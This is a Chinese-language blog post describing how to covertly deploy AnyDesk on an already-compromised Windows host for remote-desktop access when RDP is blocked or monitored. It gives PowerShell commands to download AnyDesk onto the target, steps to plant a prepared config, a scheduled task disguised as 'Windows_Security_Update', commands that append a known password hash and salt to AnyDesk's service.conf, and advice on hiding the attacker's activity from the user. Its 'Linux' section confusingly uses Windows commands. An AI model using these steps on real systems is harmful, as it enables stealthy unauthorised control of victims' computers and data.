**欢迎关注我的微信公众号《壳中之魂》**
Anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小
使用场景
- 有云锁,护卫神等禁止3389登录时
- 类似阿里云这种,登录3389会报警
- 目标机器必须可以出网
注意事项
- 启动anydesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般都是没有桌面用户权限的,如果启动anydesk不会成功
- 启动anydesk时桌面不能被注销
- 有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用winlogon启动anydesk,否则没法使用屏幕
攻击
Windows
假使我们在windows上拿到目标的shell,为了方便模拟就上线了一个cs的shell
使用一些提权的powershell脚本,脚本弹出了一个新的cmd窗口,但是数据不通过cs,只能通过远程桌面操作,但是不能直接RDP
然后我们可以通过命令让目标下载anydesk
代码语言:javascript复制powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:anydesk.exe")
其实最好不要保存在c盘下,因为域用户没有足够的权限,所以最好是找到域用户有写权限的文件夹
可以看到我们已经将文件下载了下来(由于是模拟环境就随便点,真实环境下别下载到桌面)
但是不着急执行,原因是我们不知道目标的凭证,自然无法连接
打开自己本机的anydesk,会弹出一个窗口
可以发现,anydesk连接的方式并非是局域网,而是通过互联网,一断网就无法使用
所以我们必须知道目标的ID号才可以连接,所以我们可以在本地生成anydesk的用户配置文件,然后再上传到目标主机,这样不仅知道了目标anydesk的id号,而且使用的还是本地设置的密码
首先我们要记住自己的ID号
- 819784857
然后设置访问密码
随便设置,自己知道就行了
应用后彻底退出anydesk,退出时不选择安装
生成的配置文件将会储存在
C:Users你的用户名AppDataRoamingAnyDesk
然后将四个文件保存下来,然后上传到目标的主机,上传完后把此处的配置文件全部删除,目的是让anydesk生成一个新的配置
由于我们还没有在目标主机打开过anydesk,所以要自己新建一个AnyDesk文件夹,然后将文件复制进去
拓展:
这几步不是必须,按需操作
连接前可以设置连接的用户名,如果不设置,就会用当前的用户名
有可能会暴露身份
然后通过cs远程执行anydesk,然后在攻击机远程连接
输入刚才设置的密码
成功连接
如果有管理员权限,可以开启“禁止用户输入”、“启用隐私模式”,否则对方就可以看得到攻击方的鼠标
Linux
假使我们只能通过linux拿到目标的shell,就无法像之前那样通过生成配置文件然后拷贝过去,所以我们就只能对配置文件进行修改
为了方便模拟我上线了一个msf的shell
首先我们要让目标下载anydesk,方法和之前一样
代码语言:javascript复制powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:anydesk.exe")
下载完后我们要让其启动,可以直接执行,如果无法直接执行,可以使用计划任务执行,如果要使用计划任务,首先要知道当前用户是谁
代码语言:javascript复制powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name="explorer.exe"').GetOwner().user) -split 'n')[0]
确认好用户后就可以创建计划任务
代码语言:javascript复制schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:Userstestuser.G1TSDesktopanydesk.exe" /RU Administrator
然后执行计划任务
代码语言:javascript复制schtasks /run /tn Windows_Security_Update
等过了几秒后,anydesk连接上服务器后再把进程杀死
代码语言:javascript复制tasklist
taskkill /f /pid 2692
然后再添加密码到配置文件中(密码为AnyDeskGetAccess)
代码语言:javascript复制echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:Users用户目录AppDataRoamingAnyDeskservice.conf
echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:Users用户目录AppDataRoamingAnyDeskservice.conf
查看目标的ID
代码语言:javascript复制type C:Users用户名AppDataRoamingAnyDesksystem.conf
然后让目标机器运行Anydesk,在连接即可